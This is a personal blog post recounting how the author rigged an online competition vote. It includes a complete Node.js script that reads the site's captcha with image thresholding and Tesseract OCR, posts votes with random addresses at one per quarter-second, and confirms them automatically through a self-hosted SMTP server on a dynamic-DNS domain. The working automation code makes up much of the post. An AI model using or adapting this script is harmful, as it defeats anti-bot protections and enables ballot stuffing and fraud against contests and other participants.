Bypassing legacy capchas combined with email confirmation

June 15, 2017
Old NodeJS Exploits

Introduction

This is few years old story, posted for education purposes.

Few years ago I was participating in a IT competition. In order to qualify for the second round I had to spread a unique vote link. My friends had to open the link, enter the captcha code correctly, fill their email(one vote per email) and confirm the vote from it. Not fun right?

The script

The idea of my piece of code was to bypass the whole process described above. First I had to deal with the captcha. Here’s an actual screenshot:

original captcha

Fortunately, they were using some kind of custom capcha, which made the process much easier for me. I was pretty sure that I can read this with some kind of OCR software and I found Tesseract. This is probably the best open-source OCR software out there. The first problem I faced were the lines in the background - it couldn’t recognize anything. I saved one of the generated capchas and started playing with GraphicMagic’s settings. The best results were achieved with threshold=150, then I upscaled the image 3 times and applied edge rounding and the output was:

captcha result


Horraaay. I had 80% success rate with the recognization, which meant 2 out of 10 request will fail. Now I had to confirm every vote by email. So I picked the simplesmtp NodeJS module and I ran my own SMTP server. They had some kind of email domain verification and email couldn’t be just name@MYIPADRESS, I decided to use a DDNS solution like DuckDNS. So everything that was sent to NAME@xxx.duckdns.org was redirected to my SMTP server. With a simple regex I was capturing all links from the incoming request and performed a GET request to them.

Now comes the third problem, I had to do all of these requests from 1 session, because the captcha was saved server side via session. I shared a cookie jar between all vote requests. The process looked like this:

  • Before each vote request the homepage, so a session can be assigned to me
  • Request the capcha image with the received cookies
  • Process the image through GraphicMagic, apply threshold, so the image will become much clearer
  • Process the cleaned image through Tesseract and recognize the text
  • Send(again with the cookies) as POST request the project id, random generated email (@xxx.duckdns.org) and the captcha code
  • SMTP server listens for all incoming emails and opens all links, so when a new confirmation email is received, the vote is confirmed instatly

I was able to achieve peak of about 30req/s from one thread from my local machine.

Note: this code is over 2 years old

var gm = require('gm');
var dv = require('dv');
var request = require('request');
var simplesmtp = require("simplesmtp");

var PROJECT_LINK = "http://******.net/onlinevote/vote/52";
var CAPCHA_URL = 'http://******.net/onlinevote/secImage';
var SAVEVOTE_URL = 'http://******.net/onlinevote/saveVote';

/**
 * Email domain
 * Make sure to redirect the domain to this server
 * @type {String}
 */
var EMAIL_DOMAIN = 'yoursite.net';

/**
 * Confirmed emails
 * @type {Number}
 */
var counter = 0;

/**
 * Generates a random email
 * @return {String}
 */
function getRandomEmail() {
    var name = Math.floor(Math.random() * 1000000);
    return name + '@' + EMAIL_DOMAIN;
}

/**
 * Extract urls from string
 * @param  {String} text  input string
 * @return {Array}        urls
 */
function getVoteUrls(text) {
    var exp = /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/i;
    var output = [];
    text.replace(exp, function(link) {
        output.push(link);
    });
    return output;
}

var process = function(callback) {

    /**
     * Set cookiejar, so all requests will share the same cookies(session)
     */
    var currentSession = request.defaults({
        jar: request.jar()
    });

    /**
     * Open project link to populate cookiejar with session data
     */
    currentSession(PROJECT_LINK, function(err, resp, body) {

        /**
         * Open capcha url, so a capcha is set to our session
         */
        currentSession(CAPCHA_URL, {
            encoding: null // return body in binary
        }, function(error, response, body) {

            var image = gm(body)
                .quality('100') // use maximum quality
                .resize('450', '90') // the default size is 150x30, increase it 3 times
                .threshold(150); // apply threshold, so the gray background will be removed

            /**
             * Export the image to buffer, so we can pass it to tesseract
             */
            image.toBuffer('png', function(err, buffer) {
                var image = new dv.Image('png', buffer);
                var tesseract = new dv.Tesseract('eng', image);

                var text = tesseract.findText('plain').replace(/\s/g, ""); // get text and replace spaces

                /**
                 * Post the votepage with capcha, projectId and randomly generated email
                 */
                currentSession.post({
                    url: SAVEVOTE_URL,
                    headers: {
                        'content-type': 'application/x-www-form-urlencoded' // make request form-like
                    },
                    body: 'pid=' + PROJECT_LINK.split('/').pop() + '&email=' + getRandomEmail() + '&code=' + text + '&send=Гласувай'
                }, callback);
            });
        });
    });
};

/**
 * Create a SMTP server, so we can click the vote links
 */
var server = simplesmtp.createSimpleServer({}, function(req) {

    /**
     * On new emails, find and open links
     */
    req.on("data", function(chunk) {
        var voteUrls = getVoteUrls(chunk.toString());

        voteUrls.forEach(function(url) {
            request(url, function(err, resp, body) {
                counter++;
                console.log('Confirmed vote: ' + counter + ' - ' + new Date());
            });
        });
    });

    req.accept();
});

server.listen(25, function(err) {
    if (err) {
        throw new Error(err);
    }

    console.log("SMTP server listening on port 25");

    /**
     * Make a vote every 1/4 second
     */
    setInterval(function() {
        process();
    }, 250);
});

Read more

Home automation with Raspberry Pi, Node and React
Bypassing legacy capchas combined with email confirmation

Hey! I just started blogging and I'll post regularly about tech. If you enjoy my posts, leave your email below and I'll try to send you a newsletter once a month. I won't spam you :)